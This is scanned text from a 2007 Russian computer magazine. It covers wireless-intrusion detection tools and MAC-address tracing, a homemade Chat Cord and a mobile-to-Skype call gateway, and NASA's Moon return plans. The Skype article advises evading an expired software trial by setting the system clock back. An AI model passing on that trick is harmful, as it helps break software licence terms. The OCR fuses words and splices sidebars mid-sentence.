pc_zoneМониторинг долбящихся в сеть студентов налицо Конфигурация Snort Wirelessпрограмма Airsnare. Все, что тебе понадобитсядля работы, — это библиотекаWinPcap (winpcap.polito.it) и свободныйкомпьютер, подсоединенный к беспроводнойточке доступа. В настройках программыне забудь выбрать требуемый адаптери внести в Friendly Mac list все доверенныеустройства, подключенные к твоейсети, включая Mac'и Xbox'ы, сетевые принтсерверы,лэптопы, iPod'ы с поднятым Wi-Fiи тому подобные излишки моды.Нажимаем «Start», и экран меняет цвет накрасный, что говорит о том, что твоя тачкаперешла в боевой режим, режим поискапрыщавых хакеров.Активные методыВо всех этих примерах так или иначе былизадействованы статические системы обнаруженияатак в беспроводной среде. Но навернякаесть и более сложные и эффективныетехники обнаружения злоумышленника! Хочуобратить твое внимание на системуDistributed Wireless Security Auditor(research.ibm.com/gsal/dwsa/), которая принципиальноотличается от остальных. ВозможностиDWSA позволяют определятьфизическое положение злоумышленникаи даже отображать его на интерактивнойкарте, то есть осуществлять самую настоящуюпривязку к местности. Это становитсявполне реальным за счет постоянногораспределенного мониторингасети. Осуществляется это следующимобразом: определенному количествусотрудников компании, предположим, службебезопасности, выдаются портативныекомпьютеры со специальным программнымоснащением. Параллельно с этим устанавливаетсяback-end сервер безопасности, которыйбудет считывать целевую информациюс устройств сотрудников и заодно определятьих местоположение относительно точекдоступа на основе сведений о сигнале и ихрадиопокрытии. Обработку этих данных централизованновыполняет специальный сервер./ 048xàêåðОн анализирует состояние радиоэфираразличных источников и с помощьюзаконов геометрии и дискретной математикиопределяет примерное расположенияобъекта. Понятно, что чем больше элементовбудет участвовать в работе распределеннойсистемы мониторинга, чем выше будет точностьопределения на даннойтерритории.Какой же принцип лежит в основе определениякоординат объекта? Банальнаятриангуляция, которая также применяетсяв глобальной системе позиционированияGPS.В качестве тех самых портативных девайсовбыло принято задействовать разработкуIBM, именуемую Wireless Security Auditor(WSA). Девайс представляет собой самыйобычный iPAQ PDA со специальным дистрибутивомLinux. Девайс представляет собойсамый обычный iPAQ PDA со специальнымдистрибутивом Linux и набором предустановленныхтулз для пен-тестов и аудитабеспроводных сетей: wlandump,ethereal, Sniffer и т.п. Используя их,сотрудники, по сути, проводят активныйаудит, отчитываясь главному серверу.Ох уж этот MAC-адресДаже просто обнаружив чужого сети, о немможно кое-что узнать. Тот же MACадрес,который является уникальнымпризнаком любого оборудования, выдастнекоторую информацию. Ведь очень простоустановить связь между ним и производителемдевайса. Дело в том, что по первымоктетам MAC'a и базе OUI (standards.ieee.org/regauth/oui/oui.txt) можно сделатьсоотношение, определив производителя.Вспомни, на это, в частности, опираетсяNetstumbler при нахождении точки, высвечиваяв графе VENDOR используемоеоборудование, например CISCO.Специализированные структуры ведут учетподобных сведений с привязкой к продаваемымустройствам. Обратившиськ компании-производителю, компетентныеструктуры в первую очередь выявят, по какимточкам оно было распределено и каким лицампродано. Кредиты и пластиковые карты ещеникто не отменял, поэтому при определенномвезении и наличии возможностей (котораяесть у органов) можно найти хакера, дажезная, казалось бы, какой-то MAC-адрес.Ну что, ты засомневался в своей полнойанонимности? zКто следующий?Посетитель кофейни арестован за злоупотреблениехотспотом. Персонал кофейниBrewed Awakenings в Ванкувере совместнос полицией задержал двадцатилетнего ЭрикаСмита, который юзал сетку забегаловкина протяжении трех месяцев.Семнадцатилетнему жителю СингапураГэрил Тан Цзя Люэ грозит до трех леттюрьмы за несанкционированный доступк точке доступа своего соседа. БенжаминСмит Третий, житель Флориды, впервые завсю историю штата был осужден за взломпубличной беспроводной сети.В штате Иллинойс арестована целая командавардрайверов, подробно это событиеосвещалось на fark.com и forum.defcon.org.В мае 2005 года, после нескольких атакна правительственные сети США, контрольно-счетнаяпалата США составиладоклад, в котором фигурировали следующиестатистические данные: из 24крупнейших правительственных агентств 9не имеют планов по обеспечению защитыWi-Fi сетей; в 13 агентствах не установленазащита; около 90 ноутбуков одного извыбранных агентств были настроены наавтоматический поиск сигнала, что являетсяосновополагающим при проведении атакEvil Twin/Rogue AP; а большинство агентствне отслеживает происходящее в своихбеспроводных сетях.02 /98/ 07


pc_zonefree!Степан «STEP» Ильин/ STEP@GAMELAND. RU/Сотовый на халяву,или новые возможностиSkypeКак грамотно экономить на сотовой связиДо неприличия дешевые звонки с помощью компьютера — ты думаешь, это все,на что способен Skype? Ничего подобного! Если немного поэкспериментировать,то можно вообще устроить себе рай на Земле. Вместо компьютера и гарнитуры использоватьобычный телефон или вообще звонить со своего мобильного по всему мирупо тарифам Skype. Ты уже в предвкушении?То, что с помощью Skype можнообщаться голосом по всемумиру, знает каждый. Абсолютноневажно, где будут находитьсясобеседники — в одной комнате или в разныхуголках земного шара. Плату за разговоры междуабонентами Skype никто не возьмет. Все, чтодля этого требуется, — это стабильный инети наушники с микрофоном. Многие из 8 миллионовактивных пользователей не ограничиваютсяодними только звонками между собойи зачастую обращаются к платным возможностямсистемы, используя Skype для звонков нагородские и мобильные телефоны. Грошовыецены, установленные сервисом, всяческистимулируют подобную активность. Увидев, чтозвонки в Штаты стоят всего пару центов, невольнозадумываешься: «А кому бы можно былотам позвонить, чтобы попробовать?..» Впрочем,обо всем этом мы писали в статье «Телефонныешалости» («Хакер», #8/2006), поэтому сейчаслучше посмотрим, как возможности Skypeиспользовать по полной программе.Подключаем обычный телефон к SkypeПостоянно разговаривать через гарнитуру, мягкоговоря, неудобно. Надев огромные уши,ощущаешь себя космонавтом или, на худойконец, телефонисткой из call-центра, привязаннойк своему компьютеру. Хорошо, когда/ 050xàêåð 02 /98/ 07


pc_zoneDVDSkype ругается, что его пытается использовать стороннееприложениеесть деньги на специальный Skype-телефон (обзор был у насв январском номере), но когда их нет? И если собрать вручнуюсам телефон нельзя, то можно попробовать сварганитьаналог другого девайса. А именно Chat Cord’а — известногов кругах Skype-фанатов устройства, с помощью которогок компьютеру подключается обычный телефон. Эта небольшаякоробочка, величиной с ADSL-сплиттер, имеет всего3 провода: один телефонный, который присоединяетсяк привычному телефонному аппарату, и два обычных миниджека,которые вставляются в гнезда динамика и микрофоназвуковой карты. Принцип всей этой конструкции до неприличияпрост: имеющиеся у каждой трубки динамик и микрофонвыполняют свою обычную функцию (захватывают и воспроизводятголос), а кнопки телефонного аппарата используютсядля управления Skype’ом. Спрашиваешь, как с их помощьюможно чем-то управлять? Очень просто. Каждая кнопкателефона (1-9,*,#) передается с помощью звуков разнойчастоты, которые легко распознать и использовать как управляющиесигналы. Вспомни справочную службу сотового оператораили автоответчик кинотеатра, где с помощью телефонаты выбираешь нужную тебе информацию. Тут используетсятот же механизм. Жаль только, что, несмотря на примитивнуюконструкцию, оригинальный девайс вместе с программойстоит почти $30, но мы соберем его аналог за 100 рублей!Первую рабочую схему и мануал по ручной сборке такогодевайса предложили на сайте www.grynx.com/index.php/projects/build-your-own-chat-cord/1. Описанный способ хотьи был работоспособным, но сильно усложнялся использованиемдорогого и громоздкого трансформатора. Поэтому чутьпозже Vitali Virulaine предложил на своем сайте (http://vital.pri.ee/PSTN/rus.html) модификацию этой схемы (смотририсунок). Она настолько простая, что ее даже необязательнопаять — можно собрать все навесным монтажом, тоесть соединить все элементы между собой, не припаиваяк печатной плате (которую еще нужно было бы развестии изготовить). Фотография такого монтажа внесет окончательнуюясность в порядок соединения между собой двухмини-джеков, телефонного RJ-11‐разъема, несколькихконденсаторов/резисторов и батарейки на 9 В. Можешьсмело нести схемку в магазин и вручать продавцу — пустьтот подбирает тебе все необходимое. Единственное, на чтоя хочу обратить внимание, — это регулируемый резистор.В принципе, без него можно обойтись, просто авторсхемы регулировал так громкость микрофона. По его жесловам, его можно заменить обычным резистором на 470 Ом.Когда аппарат будет собран, подключай его к своемуобычному телефону (лучше всего беспроводному) и гнездамMic input и Speaker out на материнской плате илиаудиокарте. После этого приступай к установке программнойxàêåð 02 /98/ 07/Скайп — великое изобретение!части, а именно программы Chat-Cord@DialerSK. Период еедействия давно истек, поэтому пойдем на хитрость и перединсталляцией установим системную дату на 2005 год. Нужнаи минимальная настройка, но процессом руководитавтоматический мастер auto tuning, так что проблемыисключены. Теперь можешь поднимать трубку и делатьследующее:*1 — ответить на звонок в Skype;*# — для отказа от ответа;*[номер телефона]# — вызов абонента по его международномуномеру.По-моему, очень здорово, когда можно вот так просто ходитьпо дому с трубкой радиотелефона и разговаривать с людьмииз США и Европы по смехотворным тарифам Skype. Кстатиговоря, приведенный механизм не обязывает тебя использоватьименно Skype. Можно вообще поднять у себя в сеткеVoIP-сервер (на базе Asterix@Home, например) и общатьсядруг с другом через IP, используя при этом самый обычныйаналоговый телефон.Как заставить сотовыйработать по тарифам SkypeВнимание! 0,017 евроцента за звонок в Москвуи Питер, столько же — в США и любую европейскуюстрану. Бесплатные звонки внутри сети Skype. Заманчивоепредложение, правда? А теперь представь, что такие тарифыпоявятся прямо на твоем сотовом телефоне.На диске ты найдешьSkype под разныеплатформы, программыCord@DialerSK и EpyxMobile, а такжевесь остальнойсофт, упоминаемыйв статье. Бонусомидет материал «Телефонныешалости» изавгустовского номерас описанием общихвозможностей Skype— рекомендуюознакомиться.http://www.skype.com/products/explained.html — подробноеобъяснение того, какработает Skype.www.eqo.com— официальный сайтпрограммы EQO.www.skypeclub.ru— крупнейший сайтпо Skype в России.iКлиента для Skypeвсего можно взятьс собой, записав нафлешку его portableверсию.Ее ты можешь найтина сайтеwww.robloach.net/projects/portableapplicationsили на нашем диске./ 051


pc_zoneПеред использованием Epyxmobile нужно настроить VoiceGatewayНазначаем номера для быстрого вызоваГде бы ты не находился — дома, на учебе или наработе, ты всегда сможешь позвонить другу заграницу и болтать с ним хоть 3 часа. О, вижу, тебяэто заинтересовало.Общая идея остается той же самой — мы попрежнемубудем управлять программой Skypeс помощью тональных сигналов, которыебудет распознавать программаChat-Cord@DialerSK. Но как передать ейэти тональные сигналы, оставаясь при этомполностью мобильным? Лучше всего воспользоватьсядополнительным сотовым телефономс hands-free, который будет выполнять обязанностишлюза. Подойдет совершенно любойтелефон, пускай даже десятилетней давностии частично неисправный (тот же дисплей намнафиг не сдался). Расположенный дома рядомс компьютером, он будет принимать звонкис твоей основной мобилы (которую ты всегданосишь с собой) и передавать данные (голоси тональные сигналы) компьютеру, то естьSkype’у. Не надо говорить, что звонки внутриодной сотовой сети, по обыкновению, самыедешевые, а с учетом всевозможных бонусов(любимый номер, звонки внутри группы илиодного тарифа и т.д. и т.п.) можно вообще свестистоимость минуты соединения до 1-3 центов.В итоге, получаем ту же самую схему, чтои в предыдущем разделе, но на любомрасстоянии от компьютера. Правда, остаетсяодин вопрос: как подключить этот дополнительныйсотовый телефон к звуковойкарте? Да, знаешь, не особо ухищряясь.Берем обычную гарнитуру, то есть наушникии микрофон, и подключаем к звуковойкарте. А далее с помощью скотча/изолентыили пластиковых стяжек просто соединяеммикрофон гарнитуры с динамиком handsfree.И наоборот. Полученную конструкциюнужно тщательно шумоизолировать, ателефон настроить на автоматический приемвходящего звонка (такая функция доступнапри подключенной гарнитуре). В итоге, длязвонка через Skype тебе нужно лишь позвонитьна номер шлюза и далее вызвать абонентас помощью команд, описанных в предыдущемразделе. Стоимость звонка за рубеж в этом случаескладывается из тарифа на сотовую связьвнутри сети (обычно 1-3 цента) и тарифа Skypeв нужном направлении (обычно не более двухевроцентов).Цивилизованный методОписанный подход полностью работоспособен,но эстетическим его не назовешь.К тому же к старому телефону, которыйнайти, в общем-то, не проблема, придетсяотыскать еще и гарнитуру. И это может оказатьсягораздо более сложной задачей. Скажутебе по секрету: есть и другой способ, болеедорогой (как правило), но и болеетехнологичный. Для реализации также потребуетсядополнительный инвентарь, а именнотелефон с Bluetooth и BT-модуль длякомпьютера. В этом случае все голосовыеданные будут передавать с телефонапо BT через так называемый Voice Gateway(аудиошлюз), а управлением Skype’ом будетзаниматься программа Epyx Mobile(www.epyxmobile.com/index.php?page=home). К сожалению, этот вид связи поддерживает не каж-Тарифные сенсации18 января 2007 года компания Skype огласила новейшие расценки на услугу SkypeOut. Приятная новость заключается в том,что на многих направлениях цена на звонок снижена до 1,7 евроцента в минуту. А это Чешская республика, Гуам,Венгрия, Израиль,Люксембург, Малайзия, Пуэрто-Рико, Аляска и Гавайи. В тоже время сильно огорчает другой факт — введенная, подобно нашимоператорами сотовой связи, плата за соединения (3,9 евроцента). Впрочем, если SkypeOut ты используешь редко, то это не должнотебя огорчать. А если же являешь активным абонентом, то специально для тебя появился специальный тариф — Skype Pro. Онвключает в себя безлимитные звонки по всем направлениям, стоимость которых ниже 3,9 евроцента в минуту. Стоит он всего 2 евров месяц. Только вот пока непонятно, войдет ли Россия в число бесплатных направлений или нет./ 052xàêåð 02 /98/ 07


pc_zoneСхема самодельного Chat-cord’адый донгл (BT-модуль), поэтому EpyxMobile требует обязательной установкидрайверов WIDCOMM Bluetooth SoftwareUSB. Их ты можно закачать с сайтаhttp://new-ericsson.narod.ru/soft_pc.htm иливзять с нашего диска. Соответственно, еслив твоей системе уже были установленыдрайверы, их необходимо удалить и установитьвместо них WIDCOMM’ские. Нет гарантий, чтотвой BT-модуль с ними заработает. Но вероятностьвелика. В случае возникновенияпроблем, их всегда можно удалить. Если же всепрошло успешно, приступаем к настройке.Для начала нужно установить связь между телефономи компьютером, или, точнее говоря, наладитьаудиошлюз. Bluetooth Setup Wizard, вызываемыйчерез иконку в трее, будет нам в этомпомогать. Первое, что нужно сделать, — это выбратьпункт «I want to find a specific Bluetoothdevice and configure how this computer will useits services». Далее убедись, что на телефоневключено обнаружение, и жми «Next». Мастерпросканирует эфир и выдаст список всехнайденных устройств, среди которых нужнообязательно найти свой телефон и снова нажать«Next». На следующем шаге можешь выбратьнужный сервис — Voice Gateway. Все — соединениес компьютером установлено, поэтомутелефон лучше всего положить в надежноеместо, подключить к зарядке и больше безнеобходимости не трогать.Теперь дело за Epyx Mobile, который, дляначала, нужно установить. Если во времяустановки мастер ругнется, что на компьютерене был найден WIDCOMM’ский стек, можносмело обрывать процесс. Это значит, что ты досих пор не установил нужный драйвер длясвоего донгла. Сразу после запуска программыдолжно появиться окошко Skype’а, котороепредупредит тебя, что клиента хочет использоватьдругое приложение (Epyx Mobile). В этомнет ничего удивительного, поэтому можно смелоразрешить подобную активность (выбираем«Allow this program to use Skype»). В трее тутже появится значок Epyx Mobile’а, а мастерпредложит тебе провести первичную настройкупрограммы. Что в нее включается?Во-первых, сканирование эфира и выбортелефона-шлюза. Во-вторых, задание номеровс телефона, для которых будет осуществлятьсяуправление Skype’ом. Нужно, по меньшемере, указать номер своей основной мобилы илиразрешить управление абсолютно для всех.Помимо этого, предлагается задать файл, которыйбудет проигрываться в линию для входящегозвонка. Из основного, пожалуй, все.Теперь соединение между телефоном-шлюзоми компьютером установлено, программадля управления Skype’ом настроена — остаетсятолько проверить систему и куда-нибудьпозвонить. Как это сделать? Да прощепростого. Дело в том, что для каждого контактав записной книжке Skype может быть задан номердля быстрого вызова (Speed Dial). Это числоиз промежутка 1-99, которое можно быстронабрать на клавиатуре и тут же вызвать нужногоабонента. Или же… передать его с помощьютонального набора между двумя сотовымителефонами! Достаточно со своего обычногомобильника набрать номер шлюза, дождатьсяего ответа (прозвучит тональный гудокили мелодия, которую ты назначил), послечего набрать на телефоне номер быстрогонабора: *номер быстрого вызова#. Соединениеустановлено!Чтобы каждый раз не заниматься этим вручную,можно записать номер шлюза и номер быстроговызова в записную сотового книжкутелефона. Запись будет выгладить следующимобразом: [номер телефона-шлюза]p*[номербыстрого вызова]#. Единственный непонятныйсимвол «p» вводится на клавиатуре при долгомнажатии на звездочку («*»). Таким образом, чтобывызвать абонента с горячей клавишей 34через телефон-шлюз +7 800 800 800 8 нужнонабрать следующее: +78008008008p*34#.Кстати говоря, даже необязательно забиватьномера для быстрого вызова, а можно простоввести номер нужного тебе человека в международномформате (добавив в начале номерадва нуля): +78008008008p*0079206131212#. zПолезные программкиЕсли часто звонить за границу, попасть впросак не мудрено. Бывает, забудешь о разнице во времени или просто будешь долголомать голову над номером телефона, пытаясь разобраться, что в этой последовательности цифр является кодом страны, что— кодом города, а что — непосредственно номером телефона. Для того чтобы таких заминок было как можно меньше, рекомендуювзять на вооружение небольшую программу Country Codes (www.izoxzone.com). В ее базу данных включена инфа о болеечем 250 странах мира: международный телефонный код, коды самых больших городов, принятые сокращения для стран(код IOC), доменное имя первого уровня, сокращения для национальной валюты и официального языка, расположение, национальныйфлаг. Информацию можно получить также, просто введя IP-адрес интересующего тебя человека.Лично я ненавижу копаться в прайсах и считать, в какую стоимость выйдет тот или иной разговор. Хорошо, когда звонишьпо популярным направлениям (зная, что цена едва ли будет больше двух центов), но если требуется вызвать Уругвай?Для этих случаев в своем арсенале я держу небольшую программу — Цены SkypeOUT (www.skypeclub.ru/files/rates.exe).Этой утилите достаточно указать номер телефона в международном формате, а также длительность разговора, после чеготы сразу получишь точную цену тарификации.Программы Pamela (www.pamela-systems.com) и SAM (www.kishkish.com) пригодятся тебе, если захочешь настроить себеавтоответчик. Причем, помимо всех стандартных функций, SAM предоставляет интересную фишку — Voice StressAnalysis, или, проще говоря, детектор лжи.xàêåð 02 /98/ 07/053


implantЮрий Свидиненко(metamorph@yandex.ru)О том, как человечество будет возвращаться на ЛунуЛуна:дубль второй/ 054xàêåð02 /98/ 07


implantБыли ли американцы на Луне или нет — это науке неизвестно. Но то, что они собираютсятуда снова, — неоспоримый факт, ибо как еще объяснить раздувание бюджетаNASA и заявления Джорджа Буша? В этой статье ты узнаешь о том, как именно и зачемчеловечество собирается покорять Луну во второй раз.«Orion» также будет перевозитьгрузы на МКСПервые люди на Луне – как давно это было«Лунное кресло» для быстрыхлунных перелетовTicket to the MoonИтак, занимай место возле иллюминатораи пристегивайся покрепче: тебе повезло — у тебяна руках билет на Луну на 2020 год. Именнотогда намечается ввод в действие первойрабочей лунной базы человечества.Нужно это титаническое по затратам и сложностипредприятие для того, чтобы подготовитьлюдей к жизни на небесных поверхностяхи отработать технологии самообеспечения длятого, чтобы в будущем покорять Марс и другиенебесные тела. Однако лунная экспансия преследуети корыстные цели, о которых я расскажуниже.Пока еще неизвестно, будет ли лунная базамеждународной или же все финансовыеи технические тяготы понесет агентствоNASA. Но уже все космические державы в курсетого, что проект запущен в полную силу и изкарманов американских налогоплательщиковвытащена энная сумма денег не только на возвращениена Луну, но и на постоянное пребываниекоманды астронавтов на ней в качествепервых внепланетных жителей.Рабочая лошадка «CEV Orion»После аварии миссии «Аполло-13» многиезадумались о том, как повысить безопасностьлунных перевозок. Но тогда, помимокосметических доработок кораблей«Apollo» и «LEM», ничего революционно новогоагентство NASA не предложило.Через некоторое время о полетах на Лунузабыли, и вот, в конце девяностых, когдаснова встал вопрос о возвращении на нашспутник, инженеры задумались о детальномпересмотре конструкции той «рабочейлошадки», которая будет перевозить астронавтовк месту назначения. Так появилсяпроект «Crew Exploration Vehicle» (CEV)xàêåð 02 /98/ 07(«Пилотируемого исследовательского корабля»).Что интересно, CEV будет не только работатьна Луне, но и осуществлять постоянныеполеты к МКС, заменив уже техническии морально устаревшие шаттлы.Естественно, для доставки CEV на земную орбитупо-прежнему нужна ракета-носитель. ИнженерыNASA предлагают использовать для этогостандартный прием: один твердотопливный ускорительот шаттла (первая ступень) и жидкостнаявторая ступень с двигателем опять-таки отсовременного челнока. Грузоподъемность этогоносителя — 25 тонн на низкую орбиту.Коническая форма капсулы CEV продиктованасоображениями аэродинамическойустойчивости и прочности при возвращениив атмосферу на высокой скорости. Это самоепростое и оптимальное для данной задачирешение. Сама же капсула CEV, по замыслуагентства, должна быть рассчитана на 10полетов. Ее нужно будет лишь каждый разоснащать новым тепловым щитом и стыковатьс новым сервисным модулем.При проектировании корабля CEV ракетчикиNASA решили не изобретать велосипеди оставить архитектуру кораблей «Apollo»: цилиндрический«технический» отсек (он зовется«сервисным модулем») и коническая возвращаемаякапсула с экипажем. Также предусмотренасистема аварийного катапультированияэкипажа при возникновении аварий на старте(САС). Это маленькая ракета, закрепленнаяна вершине капсулы, которая сможет отвестикорабль с экипажем от носителя в случае самогострашного вида аварий — пусковой аварии— на любом этапе выведения, начиная со стартовогостола. Самое интересное, что впервыеработоспособные САС появились в СССР. А ихпервое активное внештатное спасение былопроизведено при пуске корабля «Океан» с Титовымна борту.Так как CEV будет принимать на борт большекосмонавтов, чем «Apollo», то, естественно, егоразмеры значительно превышают габаритыстарых кораблей: внешний диаметр составляет5,5 метров, а жилой объем по сравнениюТа же SpaceDev снова удивляет всех:«Человека можно доставить на Селену(и вернуть, разумеется, домой) менее чем за10 миллиардов долларов». В то время какпланы NASA предусматривают на освоениеЛуны 104 «лунных» миллиарда долларов (за13 лет). Откуда десятикратная разница? Каждаямиссия, как предполагают авторыисследования, должна доставить на окололуннуюорбиту или на поверхность нашегонебесного соседа обитаемый модуль, которыйоставался бы на месте после миссиии мог бы быть использован при следующемвизите на Луну.Это еще не базы в традиционномпонимании, но сеть опорных пунктов, облегчающихи удешевляющих луннуюпрограмму с каждым новым рейсом. Крометого, компания предложила смелоеновшество — каждого астронавта по отдельностиможно высадить на Луне вовсе безкорабля. Точнее, на необычном аппаратетипа «ракетного кресла», в котором человексидел бы в скафандре. Четыре таких креславместе с жилым модулем — вот уже и готовыйаппарат для лунной экспедиции.Причем «кресло» можно было бы использоватькак в пилотируемом варианте, таки в беспилотном. В последнем случаесобственно сиденье заменялосьбы, по модульному принципу, на набороборудования. А связка из четырехкресел, дополненная миниатюрнойкапсулой (приспособленной к спускув атмосфере), располагала бы достаточнымзапасом тяги и топлива, чтобы возвратитьсяк Земле. Такая универсальность направленана снижение затрат и повышение скоростиразработки лунной техники.SpaceDev уверена, что уже где-то между2010‐м и 2015‐м годами человека можнобудет высадить на южном полюсе Луны./ 055


implantДобыча проб грунтаВот он какой – «Lunar Penguin»Пингвин — птица не летающая, но почемутоименно так был назван новый автоматическийлунный исследователь, главноедостоинство которого — способность к виртуозномупарению и прыжкам над серымипросторами нашего спутника.Американская фирма Raytheon предлагаетвысадить на Луне «Лунногопингвина» («Lunar Penguin») в 2009году. Аппарат высотой примерно 1 метр и весом105 килограммов способен к огромнымпрыжкам на Луне благодаря маленькимреактивным двигателям. Робот сможетперескочить в сторону на целый километри, по замыслу его авторов, сможет сделатьнесколько таких прыжков, возможно, и набольшее расстояние.Компания позиционирует «Penguin» какуниверсальное транспортное средство, способноедоставить на поверхность Лунынебольшое научное оборудование с невиданнойранее точностью.Уникальная особенность проекта — способностьробота к многократному включениюсвоих двигателей и очень осторожномуавтоматическому маневрированию надлунной поверхностью. «Penguin» используетдвигатели, «мозги», датчикии системы наведения, позаимствованныеу ракет «земля — воздух», крылатой ракеты«Томагавк» и перспективного заатмосферногоперехватчика «ExoatmosphericKill Vehicle» (EKV), разрабатываемогоRaytheon. EKV — часть новой системы противоракетнойобороны США.«Фотографическая» точность, благодаря которойробот сможет ориентироваться по луннымкартам, — серьезное преимуществокорабля перед возможными конкурентами.Специалисты компании говорят, чтопостроить и запустить эту машинуможно будет, по меркам космическойотрасли, очень быстро.с «Apollo» вырос в 2,5 раза. При полетахна МКС команда CEV состоит из шестичеловек, а на Луну отправляются 4 астронавта.В 70‐х к Луне в одном рейсе летели трое. Одиноставался на окололунной орбите, а двое — выполнялипосадку в так называемой «луннойкабине». Теперь же все 4 астронавта переходятв лунный модуль, а автоматический CEV остаетсяна лунной орбите.Не стоит говорить о том, что вся «начинка» кораблябудет выполнена по последнему словутехники 2015-2020 годов. Двигатели корабляи подъемные двигатели лунного модуля будутработать на жидком метане. Для ракетостроенияэто пока экзотическое топливо.Одна из особенностей корабля заключаетсяв том, что он сможет прилуниться практическив любом месте Селены и развернуть тамприцепленный к нему лунный модуль. NASAпишет, что хочет посылать по две экспедициина Луну каждый год, что должно ускорить созданиетам постоянной базы.Разработку и постройку прототипа возложилина компанию Lockheed Martin Corp, котораяв представлении не нуждается. Интересно, чтоконкурентом Lockheed Martin была неслабаякомпания Northrop Grumman, но из-за какихтосоображений NASA передала дела по CEVOrion авиамагнату.Жизнь на ЛунеИтак, знаменательное решение было принятона 2‐й Конференции по исследованию космоса(2nd Space Exploration Conference) в конце2006 года.Глобальная исследовательская стратегия(Global Exploration Strategy) предусматриваетряд тестовых полетов к Луне, затем высадкув 2020 году четверки астронавтов на ееповерхность. И уже через 4 года там же будетвозведена постоянно действующая база.Это новая официальная стратегия NASA, которуюпрезидент Буш охарактеризовал краткои емко: «Мы возвращаемся на Луну».Не думай, что теперь NASA будет лихорадочнодумать, как же это все организовать и какиевиды систем жизнеобеспечения и связибудут у колонистов. Наступление на Лунубыло детально спланировано еще в 2002-2003 годах, но предшествующий директорNASA не был сторонником пилотируемыхэкспедиций, поэтому финансировались толькопланы лунной миссии. Теперь же на возвращениек Селене NASA получит около 0,6%американского бюджета. И поэтому то, чтобыло обнародовано на конференции, явилосьлогическим завершением «возвратнолунного»процесса, начатого еще в девяностыхгодах прошлого века.Кроме NASA, в планировании лунного обиталищапринимают участие 13 аэрокосмическихагентств и несколько коммерческих и негосударственныхорганизаций. Россия же, по словампресс-секретаря «Роскосмоса» ИгоряПанарина, с удовольствием примет участиев программе США по освоению Луны, еслиамериканцы возьмут на себя все проблемыс финансированием.Новая глобальная исследовательская стратегиядолжна осветить сразу 2 вопроса: почему надовозвращаться на Луну и что мы планируем тамделать. Основа стратегии — так называемая«лунная архитектура». Как ты догадываешься,это все, что связано со строительством зданийдля людей и техники.Группа лунной архитектуры (Lunar ArchitectureTeam), работающая при NASA с мая, пришлак выводу, что лучшим вариантом будетбаза, построенная в районе одного изполюсов и снабжаемая энергией от солнечныхбатарей. Однако сейчас специалисты NASAне знают точно, какой из полюсов окажетсяудобнее. Скорее всего, для строительствабазы будет оптимальным южный полюс, гденаходится кратер Шеклтона, который почти всевремя освещен солнцем, — только такое местоможно назвать идеальным для постоянногополучения энергии, необходимой будущейстанции. Но окончательный выбор места можнобудет сделать после запуска аппарата «Lunar/ 056xàêåð 02 /98/ 07


implantОбустройство базы — дело хлопотноеReconnaissance Orbiter», запланированного наоктябрь 2008 года.Грузы на базу и обратно можно будет доставлятьс помощью того же самого комплекса— один рейс каждые 6 месяцев. CEV можнобудет использовать в качестве беспилотногогрузовика. И тогда же время пребывания каждогоконкретного экипажа на Луне может бытьрасширено до шести месяцев.Цель серии первых экспедиций на Луну — научитьсяжить там с частичным использованиемместных сырьевых и энергетических ресурсовдля выработки ракетного топлива и кислородадля дыхания. Плюс, конечно, новые научныеисследования.По поводу конкретных планов относительносамого лунного «жилища» ничегоне сказано, но некоторые требованияк нему NASA уже сформулировало: местонахождения астронавтов должно бытьэнергетически автономным, мобильным(это мы уже знаем), с замкнутым цикломжизнеобеспечения. Оно, конечно, должно бытьи безопасным, но в свете последних исследованийметеоритных атак этот вопрос кажетсяособенно сложным.Ядром лунной станции сначала будет спускаемыйаппарат, доставленный на Селену кораблемCEV. После того как астронавты обживутместо посадки, NASA планирует доставитьнесколько жилых модулей, стыкующихся междусобой. Тогда же будут проведены работы по развертываниюсистемы энергоснабжения базыот солнечных батарей, построению системыутилизации отходов и начало научно-исследовательскихработ.Одним из первых научно-исследовательскихинструментов будет телескоп, так как благодаряотсутствию у Луны атмосферы искаженийпри наблюдениях меньше. Да и обслуживатьтелескоп, находящийся все время «подрукой», проще, чем знаменитый «Hubble».Одной из основных задач лунной базы будетдобыча грунта, причем не только для тогочтобы обеспечить астронавтов кислородоми водой. В теории «лунатики» должны собиратьгелий-3 — топливо, необходимое для земнойэнергетики.Если посмотреть лет на 10 вперед, то мыувидим первый работающий термояд — ИТЭР(строящийся уже сегодня), который будетпервой ласточкой термоядов новогопоколения. А после ИТЭР можно говорить о созданииболее мощных и экологически чистыхтермоядов, использующих в качестве топливатот самый гелий-3. Что будет с нефтью через20 лет, ты знаешь сам, поэтому уже сегодня всестраны ищут «топливную альтернативу», и всего100 тонн гелия-3 смогут обеспечить целыйгод (!) мирового потребления энергии. Это количествосоответствует трем-четырем рейсамшаттлов. Представляешь? 3-4 ходки — и Земляэкологически чисто гудит целый год! Что можетбыть проще и доступнее?Однако для этого надо перекопать около миллиардатонн лунного грунта. Для Земли это не такоебольшое количество по меркам горнойпромышленности. Одного угля за год в миредобывают 2 миллиарда тонн (в России — около300 миллионов тонн).Но представь, как организовать похожуюдобычу на Луне, до которой только долететь— известный геморрой?Для получения самого гелия-3 из породыреголита, нагретого до нескольких сотен градусовпри помощи зеркала-концентратора солнечныхлучей, нужно еще отделить собственногелий-3 от гораздо большего количества другихгазов, в основном от гелия-4. Это делают, охлаждаягазы до жидкого состояния и пользуясьнезначительной разницей температур кипенияизотопов (4,22 К для гелия-4 или 3,19 К длягелия-3).Но все это понятно в земных условиях, а какэто сделать на Луне? А на Луне заниматьсявсем этим придется в безвоздушномпространстве. Причем для таких объемовдобычи на Луну придется переселять не 7астронавтов, а целый шахтерский поселок,что будет возможно явно не сразу. Хотя одна из«Охотник за мечтой»Одна частная компания из США хочет построитькорабль, который NASA проектировалодва десятилетия назад как альтернативушаттлу. Потратив 2 миллиарда олларов,агентство отказалось от этой концепциичелнока. А частники собираются возитьна этом корабле туристов и астронавтов наорбиту и МКС.Детище SpaceDev — корабль «Охотник замечтой» («Dream Chaser») построен наоснове концепции челнока «HL-20»,которым NASA увлекалось в 1980 годах.Теперь SpaceDev говорит, что «Охотник замечтой» может поднять четырех человекпо суборбитальной траектории в космос ужев 2008 году, если удастся получить $20‐миллионноефинансирование, источникикоторого, по словам ее представителей,еще не идентифицированы.А дополнительные 100 миллионов долларовсделают к 2010 году возможным полет«Dream Chaser» с шестью людьми на бортуна Международную космическую станцию(HL-20, кстати, был рассчитан на 10 человек).Планируется, что «Охотник за мечтой»,как и шаттл, будет стартовать вертикально,а приземляться горизонтально.Но поскольку он не предназначается дляперевозки тяжелых грузов, то и по своимразмерам он станет 